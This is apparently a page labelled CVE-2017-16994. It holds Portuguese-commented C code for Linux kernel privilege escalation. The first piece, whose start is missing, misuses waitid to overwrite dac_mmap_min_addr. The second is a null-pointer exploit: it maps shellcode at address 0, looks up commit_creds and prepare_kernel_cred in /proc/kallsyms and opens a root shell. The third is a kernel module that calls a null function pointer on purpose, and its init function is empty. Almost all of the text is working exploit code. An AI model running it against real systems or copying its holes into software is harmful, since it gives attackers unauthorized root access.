CVE-2017-16994

pid3 = fork(); if (pid3 > 0) { printf("[+] Sobrescrevendo dac_mmap_min_addr...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t )(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] Falhou!\n"); exit(1); } printf("[+] map_min_addr desabilitado!\n"); exit(0); } else if (pid3 == 0) { sleep(1); exit(0); } return 0; } /* disable_map_min_add.c EOF **/

/** null_poiter_exploit.c **/

#define _GNU_SOURCE

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <unistd.h> #include <fcntl.h>

struct cred; struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) attribute((regparm(3))); typedef int (*commit_creds_t) (struct cred *new) attribute((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred; commit_creds_t commit_creds;

/* uma desreferência de ponteiro nulo do kernel ajudará a obter privilégios

• /proc/test é um módulo carregado no kernel criado para testes

• touch_null_kp pode ser substituído pela sua própria implementação para

• tocar um ponteiro nulo do kernel */ void touch_null_kp() { printf("[+]Iniciar toque no ponto nulo do kernel\n");

  int *f = open("/proc/test", O_RDONLY); read(f, NULL, 0); }

/* executar shell após root */ void get_shell() { char *argv[] = {"/bin/sh", NULL};

if (getuid() == 0){ printf("[+] Shell root com sucesso !! :)\n"); execve("/bin/sh", argv, NULL); } printf("[-] falha ao obter shell root :(\n"); }

/* usado para escalada de privilégios */ void get_root() { commit_creds(prepare_kernel_cred(0)); }

/* obter endereço de funções do kernel lendo /proc/kallsyms */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0;

f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] Falha ao abrir /proc/kallsyms\n"); exit(-1); } printf("[+] Encontrar %s...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] Encontrado %s em %lx\n", name, addr); return addr; } } fclose(f); return 0; }

int main(int ac, char **av) {

/* obter endereço das funções */ prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); printf("commit_creds obtido:%p, prepare_kernel_cred obtido:%p\n", commit_creds, prepare_kernel_cred);

/* alocar memória localizada em 0x00 */ printf("[+] Tentar alocar 0x00000000...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char )-1){ printf("[-] Falha ao alocar 0x00000000\n"); return -1; } printf("[+] Alocação bem-sucedida !\n"); / memset(0, 0xcc, 4096); / / //movq rax, 0xffffffff81f3f45a //movq [rax], 0 // não é necessário mov rax, 0x4242424242424242 call rax xor rax, rax ret substituir 0x4242424242424242 por get_root https://defuse.ca/online-x86-assembler.htm#disassembly */

unsigned char shellcode[] = { /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, //0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; / inserir o endereço getroot no shellcode */ void **get_root_offset = rawmemchr(shellcode, 0x42); (get_root_offset) = get_root; / mapear shellcode para 0x00 */ memcpy(0, shellcode, sizeof(shellcode));

/* saltar para 0x00 */ touch_null_kp();

get_shell();

}

/** null_poiter_exploit.c EOF **/

/** test.c **/ #include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <asm/ptrace.h> #include <asm/thread_info.h>

#define MY_DEV_NAME "test" #define DEBUG_FLAG "PROC_DEV"

extern unsigned long proc_test_sp_print; static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff); static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff); static int proc_open (struct inode *proc_inode, struct file *proc_file); static struct file_operations a = { .open = proc_open, .read = proc_read, .write = proc_write, };

static int __init mod_init(void) { struct proc_dir_entry *test_entry; const struct file_operations *proc_fops = &a; printk(DEBUG_FLAG":início da inicialização do proc\n");

}

static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff) { void (*fun)(void); fun = NULL; //printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); fun(); //printk("The memory of %p : %d\n", proc_user, *proc_user); return 0; }

static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff) { printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; }

int proc_open (struct inode *proc_inode, struct file *proc_file) { printk(DEBUG_FLAG":no open, cmdline:%s!\n", current->comm); printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; }

module_init(mod_init); /** test.c EOF **/